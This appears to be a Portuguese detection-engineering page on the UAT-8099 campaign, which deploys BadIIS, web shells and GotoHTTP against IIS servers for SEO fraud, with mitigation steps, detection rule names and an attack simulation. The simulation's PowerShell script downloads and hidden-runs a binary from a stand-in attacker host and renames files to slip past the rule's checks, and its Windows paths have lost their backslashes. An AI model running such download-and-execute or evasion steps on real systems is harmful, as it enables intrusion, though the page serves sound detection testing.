Dissecando UAT-8099: Novos mecanismos de persistência e foco regional
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A Cisco Talos relata uma nova campanha UAT-8099 visando servidores IIS vulneráveis na Ásia. O ator implanta variantes personalizadas do BadIIS que incluem identificadores regionais e depende de web shells, PowerShell e da ferramenta de controle remoto GotoHTTP para controle subsequente. A persistência foi ampliada para incluir a criação de contas locais ocultas e o uso de utilitários legítimos de equipes de red teaming para se misturar às atividades administrativas. A técnica se sobrepõe à operação WEBJACK anterior e parece focada em fraudes de SEO afetando sites na Tailândia e no Vietnã.
Investigação
A Talos revisou a telemetria DNS, hashes de arquivos e scripts maliciosos para reconstruir a cadeia de intrusão. Os analistas observaram web shells combinados com ferramentas como SoftEther VPN e EasyTier, além de um conjunto de utilitários sob medida, incluindo Sharp4RemoveLog, CnCrypt Protect, OpenArk64 e GotoHTTP. Duas cepas do BadIIS ajustadas regionalmente — IISHijack e asdSearchEngine — foram analisadas reversamente, expondo códigos de países hard-coded, filtragem de solicitações seletiva e configuração de C2 criptografada com XOR. Um compilado ELF do BadIIS com domínios C2 correspondentes também foi identificado no VirusTotal.
Mitigação
Corrija as vulnerabilidades expostas do IIS, fortaleça a aplicação do firewall de aplicativos web e monitore a criação de contas locais ocultas (por exemplo, admin$, mysql$ e similares). Detecte atividades do PowerShell que baixam ou iniciam o GotoHTTP e bloqueiem a comunicação de saída para domínios C2 conhecidos. Use controles de endpoint para alertar sobre a execução dos utilitários personalizados identificados e sobre modificações inesperadas nos diretórios do servidor web.
Resposta
Se forem encontrados indicadores, isole o servidor, remova os web shells e apague as contas ocultas. Preserve binários do BadIIS e scripts relacionados para análise forense, e realize uma revisão completa do tráfego de rede para identificar atividades C2. Restaure a partir de um backup confiável e reforce a configuração do IIS para prevenir reinfecções.
Fluxo de Ataque
Detecções
Download ou Upload via Powershell (via linha de comando)
Ver
Arquivos Suspeitos no Perfil de Usuário Público (via evento_arquivo)
Ver
Possível Enumeração de Contas ou Grupos (via linha de comando)
Ver
Detectar Execução de Comando PowerShell para Implementação de GotoHTTP [Windows Powershell]
Ver
Detecção de Malware BadIIS Alvejando Servidores IIS para Fraude SEO [Servidor Web]
Ver
Execução de Simulação
Pré-requisito: O Check de Preparo de Telemetria e Baseline deve ter passado.
-
Narrativa do Ataque & Comandos:
Um atacante obteve acesso inicial em um servidor web comprometido. Eles criam um diretório oculto chamadobad_iissob o diretório raiz do IIS e colocam um binário web-shell com nome personalizadoshell_xyz.exe(evitando a string literal “web shell”). Usando o shell, eles executam lateralmente uma carga útil do PowerShell que baixa o binário GotoHTTP, renomeia-o parasvc_update.exe, e o executa. Como os nomes das imagens estão obfuscados, as verificaçõesImage|containsda regra original são contornadas, enquanto a linha de comando ainda contém “PowerShell”. -
Script de Teste de Regressão: Este script reproduz os passos descritos e gera telemetria semelhante ao ataque BadIIS sem usar as strings exatas que a regra observa.
# Simulação BadIIS – versão ofuscada $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Implantar um web-shell renomeado (cópia binária de um exe benigno conhecido) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simular o web-shell invocando PowerShell para baixar GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Executar a carga útil do PowerShell através do web-shell renomeado (criação de processo) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "Simulação BadIIS executada." -
Comandos de Limpeza: Remove os artefatos plantados e restaura o ambiente.
# Limpar artefatos da simulação BadIIS $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Limpeza concluída."